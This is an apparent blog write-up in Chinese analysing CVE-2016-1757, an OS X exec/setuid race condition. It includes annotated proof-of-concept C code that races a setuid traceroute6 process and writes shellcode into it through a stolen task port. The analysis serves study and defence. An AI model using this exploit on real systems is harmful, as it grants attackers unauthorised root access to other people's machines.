CVE-2016-1757簡單分析
0x00 摘要
靈犀一指可攻可守,進攻時也是一指,是天下第一指法,與移花接玉這個天下第一掌法同樣都是非兵刃的第一絕技
—陸小鳳傳奇
最近的10.11.4補丁修復了一個利用條件競爭獲得程式碼執行許可權的漏洞,經過對核心原始碼以及poc的理解之後,先對問題作出一個簡單的分析。
0x01 基礎知識
1.1 exec函式流程
我在OSX核心載入mach-o流程分析中比較詳細的分析了exec
整個執行流程中比較重要的幾個函式,這個是比較精簡的一個流程圖。
1.2 mach_vm_* API
Mach
提供了一種使用者層對虛擬記憶體的操作方式。一系列對vm_map_t
作出操作的API
可以對虛擬記憶體作出很多操作。這裡的vm_map_t
就是PORT
。
這一系列的API有很多,這裡只是簡單的介紹一下POC中會使用到的API。
1.2.1 mach_vm_allocate
#!c
mach_vm_allocate(vm_map_t map,mach_vm_address_t *address,mach_vm_size_t size,int flags);
在map
中分配size
個位元組大小的記憶體,根據flags
的不同會有不同的處理方式。address
是一個I/O
的引數(例如:獲取分配後的記憶體大小)。
如果flags
的值不是VM_FLAGS_ANYWHERE
,那麼記憶體將被分配到address
指向的地址。
1.2.2 mach_vm_region
#!c
kern_return_t
mach_vm_region(
vm_map_t map,
mach_vm_offset_t *address, /* IN/OUT */
mach_vm_size_t *size, /* OUT */
vm_region_flavor_t flavor, /* IN */
vm_region_info_t info, /* OUT */
mach_msg_type_number_t *count, /* IN/OUT */
mach_port_t *object_name) /* OUT */
獲取map
指向的任務內,address
地址起始的VM region(虛擬記憶體區域)的資訊。目前標記為flavor
只有VM_BASIC_INFO_64
。
獲得的info的資料結構如下。
#!c
struct vm_region_basic_info_64 {
vm_prot_t protection;
vm_prot_t max_protection;
vm_inherit_t inheritance;
boolean_t shared;
boolean_t reserved;
memory_object_offset_t offset;
vm_behavior_t behavior;
unsigned short user_wired_count;
};
1.2.3 mach_vm_protect
#!c
kern_return_t
mach_vm_protect(
mach_port_name_t task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection)
對address
到address+size
這一段的記憶體設定記憶體保護策略,new_protection
就是最後設定成為的保護機制。
1.2.4 mach_vm_write
#!c
kern_return_t
mach_vm_write(
vm_map_t map,
mach_vm_address_t address,
pointer_t data,
__unused mach_msg_type_number_t size)
對address
指向的記憶體改寫內容。
1.3 Ports
Ports
是一種Mach
提供的task
之間相互互動的機制,透過Ports
可以完成類似程式間通訊的行為。每個Ports
都會有自己的許可權。
#!c
#define MACH_PORT_RIGHT_SEND ((mach_port_right_t) 0)
#define MACH_PORT_RIGHT_RECEIVE ((mach_port_right_t) 1)
#define MACH_PORT_RIGHT_SEND_ONCE ((mach_port_right_t) 2)
#define MACH_PORT_RIGHT_PORT_SET ((mach_port_right_t) 3)
#define MACH_PORT_RIGHT_DEAD_NAME ((mach_port_right_t) 4)
#define MACH_PORT_RIGHT_LABELH ((mach_port_right_t) 5)
#define MACH_PORT_RIGHT_NUMBER ((mach_port_right_t) 6)
Ports
可以在不同的task
之間傳遞,透過傳遞可以賦予其他task
對ports
的操作許可權。例如POC中使用的就是在父程式與子程式之間傳遞Port
得到了對記憶體操作的許可權。
0x02 漏洞原理
在核心處理setuid的程式時存在一個時間視窗,透過這個時間視窗,在程式Port
被關閉之前,擁有程式Port
的程式可以改寫目標程式的任意記憶體,透過改寫記憶體可以利用目標程式的root許可權執行任意的shellcode。
2.1 execv流程漏洞
在swap_task_map以及exec_handle_suid之間有一個時間視窗,task port還是可以對記憶體做出修改的。
具體細節可以參考poc,同時也可以參考原始碼的分析日誌。
2.2 捕獲時間視窗(靈犀一指)
時間視窗開啟的時機對編寫poc非常重要,因為在呼叫exec之後整個行為都是核心控制的,沒有什麼直接的辦法獲取時間視窗,poc中提供的方法是透過不斷的呼叫mach_vm_region
,當視窗出現時,也就是從old_map切換到new_map時,mach_vm_region
函式獲取的address應該是不同的。具體實現在下面的poc原始碼分析中會提到。
2.3 任意記憶體寫
在得到視窗開啟的時機之後透過上面提到的port以及mach_vm_*的一系列函式就可以做到對目標程式的任意寫操作,從而寫入shellcode。
2.4 shellcode的執行(移花接木)
shellcode要寫在什麼地方才會被執行呢?
透過對traceroute6的分析,可以看到__text的地址偏移是0x153c,所以透過對該地址的記憶體改寫,可以使得shellcode得到執行。
0x03 POC原始碼分析
3.1 main
#!c
int main() {
kern_return_t err;
// register a name with launchd
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("can't get bootstrap port", err);
return 1;
}
//建立一個具有接受訊息許可權的port
mach_port_t service_port;
err = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&service_port);
if (err != KERN_SUCCESS) {
mach_error("can't allocate service port", err);
return 1;
}
//為port新增SEND許可權
err = mach_port_insert_right(mach_task_self(),
service_port,
service_port,
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
mach_error("can't insert make send right", err);
return 1;
}
//
// 註冊一個全域性的Port
// 之後的子程式會繼承這個port
err = bootstrap_register(bootstrap_port, service_name, service_port);
if (err != KERN_SUCCESS) {
mach_error("can't register service port", err);
return 1;
}
printf("[+] registered service \"%s\" with launchd to receive child thread port\n", service_name);
// fork a child
pid_t child_pid = fork();
if (child_pid == 0) {
do_child();
} else {
do_parent(service_port);
int status;
wait(&status);
}
return 0;
}
main函式在建立了port之後之後fork出子程式,開始做各自做的事情。
3.2 do_child
#!c
void do_child() {
kern_return_t err;
//查詢全域性的port
mach_port_t bootstrap_port;
err = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get bootstrap port", err);
return;
}
mach_port_t service_port;
err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (err != KERN_SUCCESS) {
mach_error("child can't get service port", err);
return;
}
// create a reply port:
// 建立一個具有接受訊息許可權的port
mach_port_t reply_port;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
mach_error("child unable to allocate reply port", err);
return;
}
// send it our task port
// 將子程式的port傳送給父程式
task_msg_send_t msg = {0};
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_local_port = reply_port;
msg.header.msgh_remote_port = service_port;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX;
msg.body.msgh_descriptor_count = 1;
msg.port.name = mach_task_self();
msg.port.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg_send(&msg.header);
if (err != KERN_SUCCESS) {
mach_error("child unable to send thread port message", err);
return;
}
// wait for a reply to ack that the other end got our thread port
// 等待父程式回覆
ack_msg_recv_t reply = {0};
err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("child unable to receive ack", err);
return;
}
// exec the suid-root binary
// 執行setuid的程式traceroute6
char* argv[] = {suid_binary_path, "-w", "rofl", NULL};
char* envp[] = {NULL};
execve(suid_binary_path, argv, envp);
}
子程式做的事情也非常的簡單,將自己的port傳送給父程式,確保父程式已經獲取到port之後,執行setuid的程式,poc中使用的是traceroute6。
3.3 do_parent
#!c
void do_parent(mach_port_t service_port) {
kern_return_t err;
// generate the page we want to write into the child:
// 申請一頁記憶體,並且會將這一頁記憶體寫入子程式
mach_vm_address_t addr = 0;
err = mach_vm_allocate(mach_task_self(),
&addr,
4096,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
mach_error("failed to mach_vm_allocate memory", err);
return;
}
//將0x153c處的寫入shellcode
FILE* f = fopen(suid_binary_path, "r");
fseek(f, 0x1000, SEEK_SET);
fread((char*)addr, 0x1000, 1, f);
fclose(f);
memcpy(((char*)addr)+0x53c, shellcode, sizeof(shellcode));
// wait to get the child's task port on the service port:
// 等待子程式傳送過來的port
task_msg_recv_t msg = {0};
err = mach_msg(&msg.header,
MACH_RCV_MSG,
0,
sizeof(msg),
service_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
mach_error("error receiving service message", err);
return;
}
mach_port_t target_task_port = msg.port.name;
// before we ack the task port message to signal that the other process should execve the suid
// binary get the lowest mapped address:
// 立刻獲取記憶體的資訊
struct vm_region_basic_info_64 region;
mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64;
memory_object_name_t object_name = MACH_PORT_NULL; /* unused */
mach_vm_size_t target_first_size = 0x1000;
mach_vm_address_t original_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&original_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (err != KERN_SUCCESS) {
mach_error("unable to get first mach_vm_region for target process\n", err);
return;
}
printf("[+] looks like the target processes lowest mapping is at %zx prior to execve\n", original_first_addr);
// send an ack message to the reply port indicating that we have the thread port
ack_msg_send_t ack = {0};
mach_msg_type_name_t reply_port_rights = MACH_MSGH_BITS_REMOTE(msg.header.msgh_bits);
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0);
ack.header.msgh_size = sizeof(ack);
ack.header.msgh_local_port = MACH_PORT_NULL;
ack.header.msgh_remote_port = msg.header.msgh_remote_port;
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got
err = mach_msg_send(&ack.header);
if (err != KERN_SUCCESS) {
mach_error("parent failed sending ack", err);
return;
}
mach_vm_address_t target_first_addr = 0x0;
for (;;) {
// wait until we see that the map has been swapped and the binary is loaded into it:
// 不斷的迴圈去獲取記憶體的資訊
region_count = VM_REGION_BASIC_INFO_COUNT_64;
object_name = MACH_PORT_NULL; /* unused */
target_first_size = 0x1000;
target_first_addr = 0x0;
err = mach_vm_region(target_task_port,
&target_first_addr,
&target_first_size,
VM_REGION_BASIC_INFO_64,
(vm_region_info_t)®ion,
®ion_count,
&object_name);
if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) {
// the first address has changed implying that the map was swapped
// let's try to win the race
// 當發現獲取到的記憶體資訊與之前的不同
// 說明競爭的視窗開啟了
// 可以嘗試去寫入shellcode了
break;
}
}
//寫入shellcode
mach_vm_address_t target_addr = target_first_addr + 0x1000;
mach_msg_type_number_t target_size = 0x1000;
mach_vm_protect(target_task_port, target_addr, target_size, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE);
mach_vm_write(target_task_port, target_addr, addr, target_size);
printf("hopefully overwrote some code in the target...\n");
printf("the target first addr changed to %zx\n", target_first_addr);
//子程式視窗關閉後記憶體已經被改寫,正常執行到entry時,將執行shellcode。
}
父程式的行為比較複雜:
- 構建shellcode
- 獲取子程式port
- 根據子程式的記憶體資訊得到競爭的視窗開啟的時機
- 寫入shellcode,等待shellcode執行。
0x04 小結
透過梳理poc與核心原始碼後,在瞭解了execv
函式一系列的執行流程,已經核心的一系列記憶體操作的工具函式之後,這個漏洞其實就是一個簡單的邏輯漏洞,透過一箇舊的port可以在port被關閉前,任意改寫程式的記憶體地址,當目標程式碰巧是setuid的程式時,就具有了root許可權執行任意程式碼的能力。
透過poc的分析,應該學習鞏固的知識如下:
- execv的執行流程
- port的使用
- mach_vm_* API
充分理解poc的原理後,可以進一步對這個漏洞的Exploit to get kernel code execution做出更詳細的分析,從而反思與總結,如何在開發中預防這種漏洞的產生以及如何透過測試或者程式碼審計的手段發現類似的漏洞。
0x05 參考
- https://www.freebsd.org/cgi/man.cgi?query=vnode
- https://www.freebsd.org/cgi/man.cgi?query=namei&apropos=0&sektion=0&manpath=FreeBSD+10.2-RELEASE&arch=default&format=html
- http://www.manualpages.de/OpenBSD/OpenBSD-5.0/man9/pmap_create.9.html
- Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS
- Race you to the kernel!
ps:
這是我的學習分享部落格http://turingh.github.io/
歡迎大家來探討,不足之處還請指正。
相關文章
- mr原理簡單分析2020-08-23
- SSRF漏洞簡單分析2020-07-16
- 簡單陰影分析2020-12-27
- js熱更新簡單分析2019-04-06JS
- MediaScanner原始碼簡單分析2019-03-04原始碼
- 骷髏病毒簡單分析2018-04-10
- 簡單的UrlDns鏈分析2024-04-16DNS
- HDLC報文簡單分析2024-07-05
- CVE-2016-0799簡單分析2020-08-19
- redux簡單實現與分析2018-04-12Redux
- 一隻android簡訊控制馬的簡單分析2020-08-19Android
- SpringBoot2.0原始碼分析(一):SpringBoot簡單分析2018-09-30Spring Boot原始碼
- ZipperDown漏洞簡單分析及防護2018-05-18
- 編譯程式(compiler)的簡單分析2018-08-07編譯Compile
- Java 8 ArrayList 原始碼簡單分析2020-03-09Java原始碼
- ElasticSearch 簡單的 搜尋 聚合 分析2018-04-16Elasticsearch
- 伺服器系統簡單分析2022-10-18伺服器
- JavaScript簡單計算器程式碼分析2018-07-02JavaScript
- Linux SNAT/DNAT簡單理解與案例分析。2018-07-25Linux
- 簡單分析MySQL中的primary key功能2021-09-09MySql
- 面試官:簡單聊聊 Go 逃逸分析?2022-04-15面試Go
- 簡單分析軟體專案成本管理2022-03-18
- 金融大資料分析還不簡單,有了Smartbi簡單幾步就能搞定2022-01-20大資料
- 一個left join SQL 簡單優化分析2018-12-04SQL優化
- 簡單易懂的tinker熱修復原理分析2018-08-03
- CVE-2015-7547簡單分析與除錯2020-08-19除錯
- Linux4.1.15核心啟動流程簡單分析2020-10-06Linux
- 伺服器使用系統簡單的分析2022-03-01伺服器
- 分析一個簡單的goroutine資源池2021-12-27Go
- 簡單程式的時間複雜度分析2021-09-09時間複雜度
- 依存句法分析器的簡單實現2018-10-17
- Python3 | 簡單爬蟲分析網頁元素2018-11-30Python爬蟲網頁
- Python運用於資料分析的簡單教程2018-07-22Python
- 對 MySQL 慢查詢日誌的簡單分析2020-07-08MySql
- 簡單分析synchronized不會鎖洩漏的原因2019-06-05synchronized
- 簡單分析Flask 資料庫遷移詳情2021-12-06Flask資料庫
- openGauss核心分析2:簡單查詢的執行2022-07-12
- 瞭解Java物件,簡單聊聊JVM調優分析2020-12-15Java物件JVM